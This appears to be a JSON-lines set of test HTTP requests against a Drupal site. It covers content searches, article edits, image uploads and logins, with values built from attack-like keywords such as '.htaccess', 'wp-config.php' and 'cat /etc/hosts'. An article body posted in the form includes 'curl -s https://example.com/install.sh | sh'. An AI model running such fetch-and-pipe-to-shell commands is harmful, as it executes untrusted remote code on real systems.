{"method": "GET", "target": "/jsonapi/node/article?filter%5Bg%5D%5Bgroup%5D%5Bconjunction%5D=OR&filter%5Bt%5D%5Bcondition%5D%5Bpath%5D=field_tags.name&filter%5Bt%5D%5Bcondition%5D%5Bvalue%5D=.htaccess&filter%5Bt%5D%5Bcondition%5D%5BmemberOf%5D=g", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/taxonomy_term/tags?filter%5Bname%5D=.htaccess", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/user/user?filter%5Bname%5D=.htaccess", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/file/file?filter%5Bfilename%5D=.htaccess", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/media/image?filter%5Bname%5D=.htaccess", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Btitle%5D=wp-config.php", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bpath%5D=title&filter%5Bf%5D%5Bcondition%5D%5Boperator%5D=CONTAINS&filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=wp-config.php", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bg%5D%5Bgroup%5D%5Bconjunction%5D=OR&filter%5Bt%5D%5Bcondition%5D%5Bpath%5D=field_tags.name&filter%5Bt%5D%5Bcondition%5D%5Bvalue%5D=wp-config.php&filter%5Bt%5D%5Bcondition%5D%5BmemberOf%5D=g", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/taxonomy_term/tags?filter%5Bname%5D=wp-config.php", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/user/user?filter%5Bname%5D=wp-config.php", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/file/file?filter%5Bfilename%5D=wp-config.php", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/media/image?filter%5Bname%5D=wp-config.php", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Btitle%5D=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bpath%5D=title&filter%5Bf%5D%5Bcondition%5D%5Boperator%5D=CONTAINS&filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bg%5D%5Bgroup%5D%5Bconjunction%5D=OR&filter%5Bt%5D%5Bcondition%5D%5Bpath%5D=field_tags.name&filter%5Bt%5D%5Bcondition%5D%5Bvalue%5D=docker-compose.yml&filter%5Bt%5D%5Bcondition%5D%5BmemberOf%5D=g", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/taxonomy_term/tags?filter%5Bname%5D=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/user/user?filter%5Bname%5D=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/file/file?filter%5Bfilename%5D=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/media/image?filter%5Bname%5D=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Btitle%5D=cat%20/etc/hosts", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bpath%5D=title&filter%5Bf%5D%5Bcondition%5D%5Boperator%5D=CONTAINS&filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=cat%20/etc/hosts", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bg%5D%5Bgroup%5D%5Bconjunction%5D=OR&filter%5Bt%5D%5Bcondition%5D%5Bpath%5D=field_tags.name&filter%5Bt%5D%5Bcondition%5D%5Bvalue%5D=cat%20/etc/hosts&filter%5Bt%5D%5Bcondition%5D%5BmemberOf%5D=g", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/taxonomy_term/tags?filter%5Bname%5D=cat%20/etc/hosts", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/user/user?filter%5Bname%5D=cat%20/etc/hosts", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/file/file?filter%5Bfilename%5D=cat%20/etc/hosts", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/media/image?filter%5Bname%5D=cat%20/etc/hosts", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Btitle%5D=SELECT%20rows%20FROM%20table", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bpath%5D=title&filter%5Bf%5D%5Bcondition%5D%5Boperator%5D=CONTAINS&filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=SELECT%20rows%20FROM%20table", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bg%5D%5Bgroup%5D%5Bconjunction%5D=OR&filter%5Bt%5D%5Bcondition%5D%5Bpath%5D=field_tags.name&filter%5Bt%5D%5Bcondition%5D%5Bvalue%5D=SELECT%20rows%20FROM%20table&filter%5Bt%5D%5Bcondition%5D%5BmemberOf%5D=g", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/taxonomy_term/tags?filter%5Bname%5D=SELECT%20rows%20FROM%20table", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/user/user?filter%5Bname%5D=SELECT%20rows%20FROM%20table", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/file/file?filter%5Bfilename%5D=SELECT%20rows%20FROM%20table", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/media/image?filter%5Bname%5D=SELECT%20rows%20FROM%20table", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "POST", "target": "/jsonapi/node/article", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: zG78nvG2BJfVxmuln0IVMVLxP3mMFJbS5E-H_v9caxs"], "body": "{\"data\": {\"type\": \"node--article\", \"attributes\": {\"title\": \"Python3 and PowerShell via API\", \"body\": {\"value\": \"<p>Run ls -la in python3 and cat /etc/hosts; see <a href=\\\"/python3-notes\\\">notes</a>.</p>\", \"format\": \"basic_html\"}}}}"}
{"method": "PATCH", "target": "/jsonapi/node/article/47f40026-bda0-41dc-b81a-f1a13535af4c", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: zG78nvG2BJfVxmuln0IVMVLxP3mMFJbS5E-H_v9caxs"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"47f40026-bda0-41dc-b81a-f1a13535af4c\", \"attributes\": {\"title\": \"Edited about docker-compose.yml\", \"body\": {\"value\": \"<p>SELECT rows FROM table, then ls -la.</p>\", \"format\": \"basic_html\"}}}}"}
{"method": "GET", "target": "/jsonapi/node/article/47f40026-bda0-41dc-b81a-f1a13535af4c?include=uid", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article/47f40026-bda0-41dc-b81a-f1a13535af4c/relationships/uid", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article/47f40026-bda0-41dc-b81a-f1a13535af4c/uid", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "POST", "target": "/jsonapi/node/article/field_image", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/octet-stream", "Content-Disposition: file; filename=\"photo.png\"", "X-Csrf-Token: zG78nvG2BJfVxmuln0IVMVLxP3mMFJbS5E-H_v9caxs"], "body": "‰PNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0006\u0000\u0000\u0000\u001f\u0015ĉ\u0000\u0000\u0000\rIDATxÚcd`ø_\u000f\u0000\u0002‡\u0001€ëGº’\u0000\u0000\u0000\u0000IEND®B`‚"}
{"method": "POST", "target": "/jsonapi/node/article/47f40026-bda0-41dc-b81a-f1a13535af4c/field_image", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/octet-stream", "Content-Disposition: file; filename=\"photo.png\"", "X-Csrf-Token: zG78nvG2BJfVxmuln0IVMVLxP3mMFJbS5E-H_v9caxs"], "body": "‰PNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0006\u0000\u0000\u0000\u001f\u0015ĉ\u0000\u0000\u0000\rIDATxÚcd`ø_\u000f\u0000\u0002‡\u0001€ëGº’\u0000\u0000\u0000\u0000IEND®B`‚"}
{"method": "DELETE", "target": "/jsonapi/node/article/47f40026-bda0-41dc-b81a-f1a13535af4c", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "X-Csrf-Token: zG78nvG2BJfVxmuln0IVMVLxP3mMFJbS5E-H_v9caxs"], "body": ""}
{"method": "GET", "target": "/node/1?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "PATCH", "target": "/node/1?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Content-Type: application/json", "X-Csrf-Token: zG78nvG2BJfVxmuln0IVMVLxP3mMFJbS5E-H_v9caxs"], "body": "{\"type\": [{\"target_id\": \"article\"}], \"title\": [{\"value\": \"Edited: python3\"}]}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"new.person@example.com\"}"}
{"method": "POST", "target": "/user/logout?_format=json&token=6g2zVXyWnyiVNy0zy76IqHwJfb_Q7fY4m1cpnZyh0LY", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "PATCH", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: fK1nVGRmImLpZRnGKVLo_fRY4zvgCTRWbMAXJ0023ho"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"77b584a4-587e-4273-90b7-2677a1502feb\", \"attributes\": {\"title\": \"Edited about docker-compose.yml\", \"body\": {\"value\": \"<p>SELECT rows FROM table, then ls -la.</p>\", \"format\": \"basic_html\"}}}}"}
{"method": "GET", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb?include=uid", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb/relationships/uid", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb/uid", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "POST", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb/field_image", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/octet-stream", "Content-Disposition: file; filename=\"photo.png\"", "X-Csrf-Token: fK1nVGRmImLpZRnGKVLo_fRY4zvgCTRWbMAXJ0023ho"], "body": "‰PNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0006\u0000\u0000\u0000\u001f\u0015ĉ\u0000\u0000\u0000\rIDATxÚcd`ø_\u000f\u0000\u0002‡\u0001€ëGº’\u0000\u0000\u0000\u0000IEND®B`‚"}
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{"method": "GET", "target": "/search/user?keys=admin", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/media-grid?name=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/media-grid?name=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/user/login", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login"], "body": "name=admin&pass=python3-%2Fetc%2Fhosts-1&form_build_id=form-lt4MGc7V3i3el7smsATqAMVVJ1KzV_yV3U3nOcZ7FWc&form_id=user_login_form&op=Log+in"}
{"method": "GET", "target": "/user/login?destination=/search/node%3Fkeys%3Dpython3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/user/login?destination=/admin/content%3Ftitle%3Dpowershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/user/login?destination=/python3-notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=block%3Ablock%3Dolivero_site_branding%3Alangcode%3Den&ids%5B%5D=block%3Ablock%3Dolivero_main_menu%3Alangcode%3Den%7Cmenu%3Amenu%3Dmain%3Alangcode%3Den&ids%5B%5D=block%3Ablock%3Dolivero_account_menu%3Alangcode%3Den%7Cmenu%3Amenu%3Daccount%3Alangcode%3Den&ids%5B%5D=block%3Ablock%3Dolivero_breadcrumbs%3Alangcode%3Den&ids%5B%5D=block%3Ablock%3Dolivero_page_title%3Alangcode%3Den&ids%5B%5D=block%3Ablock%3Dolivero_powered%3Alangcode%3Den&tokens%5B%5D=1rv_5u0s4iGV_AWmQmPdRm4CsxIu8wsjE8sFkt9yGF4&tokens%5B%5D=8Gi0ikQVIh2gC601Y5UBe2vi21hWy8qqpz--u2aRwZU&tokens%5B%5D=henkHDCYz37bUB9MGiVxhW9dClN1HHpXLkE9blnvU8I&tokens%5B%5D=DupSXj2bNdZYw9OEb6f4T6BX3qXPnA1znFW4miVijJU&tokens%5B%5D=pGkK5C6k5HhOIlpSVObsmKdf5DVWqjhEzJfvUSZdanw&tokens%5B%5D=jmjvcBoCtAymF3-B_C5BHjXRBqYcwKstu9qZq-rxCDw"}
{"method": "POST", "target": "/editor/filter_xss/full_html", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": "value=&original_format_id=basic_html"}
{"method": "POST", "target": "/node/add/article", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryRCXQGBEZqRVGYEzF", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": "------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"changed\"\r\n\r\n1794214990\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"title[0][value]\"\r\n\r\nSELECT a table: python3, ls -la and .htaccess\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"form_build_id\"\r\n\r\nform-Vl4RHWAalDXt4xlz9gkdfBjyRGaJHUU6FRlyea9EKkc\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"form_token\"\r\n\r\nI1fDBOjGA9cTabBxXpM8PsNoHDj_jgNpDUfryW87JZQ\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"form_id\"\r\n\r\nnode_article_form\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"field_image[0][fids]\"\r\n\r\n\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"body[0][summary]\"\r\n\r\nNotes on python3 and powershell\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"body[0][value]\"\r\n\r\n<h2>Notes on python3 and powershell</h2><p>Run <code>ls -la</code> then <a href=\"/python3-notes\">read the notes</a> or <a href=\"https://example.com/docs/setup.php?a=1&amp;b=2\">the docs</a>.</p><pre><code class=\"language-plaintext language-bash\">#!/bin/sh\r\ncat /etc/hosts | grep example &amp;&amp; ls -la\r\npython3 setup.py install\r\ncurl -s https://example.com/install.sh | sh\r\nSELECT name, mail FROM users WHERE uid = 1;\r\nconsole.log('ok'); document.getElementById('x');\r\nif (a == b) { echo $PATH; }\r\n</code></pre><blockquote><p>Select a table from the catalog, then union the results.</p></blockquote><ul><li data-list-item-id=\"e0931e5bf5859e9ac55e1b80ed4b3ad82\">one</li><li data-list-item-id=\"e681549baddb3c36b7bcba5605e5831c2\">two</li></ul><table class=\"table\"><tbody><tr><td>python3</td><td>3.13</td></tr></tbody></table><p><img src=\"/sites/default/files/inline-images/photo.png\" data-entity-uuid=\"11111111-2222-4333-8444-555555555555\" data-entity-type=\"file\" alt=\"A photo\" width=\"1\" height=\"1\"></p>\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"body[0][format]\"\r\n\r\nfull_html\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"field_tags[target_id]\"\r\n\r\n\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"revision_log[0][value]\"\r\n\r\nAdded ls -la and python3 notes\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"menu[title]\"\r\n\r\n\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"menu[description]\"\r\n\r\n\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"menu[menu_parent]\"\r\n\r\nmain:\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"menu[weight]\"\r\n\r\n0\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"comment[0][status]\"\r\n\r\n2\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"path[0][alias]\"\r\n\r\n/powershell-and-python3\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"uid[0][target_id]\"\r\n\r\nadmin (1)\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"created[0][value][date]\"\r\n\r\n2026-11-09\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"created[0][value][time]\"\r\n\r\n09:03:10\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"promote[value]\"\r\n\r\n1\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"status[value]\"\r\n\r\n1\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"op\"\r\n\r\nSave\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF--\r\n"}
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{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/powershell-and-python3", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=node%3Anode%3D5%3Achanged%3D1794214996%26langcode%3Den&tokens%5B%5D=ita10VPYAXlTHzj0MBr00dObG7ftbasU9C1DjE2zOWI"}
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{"method": "GET", "target": "/admin/content/comment?subject=&author_name=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
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{"method": "GET", "target": "/user/logout?destination=/search/node%3Fkeys%3Dls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/config/search/path?search=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
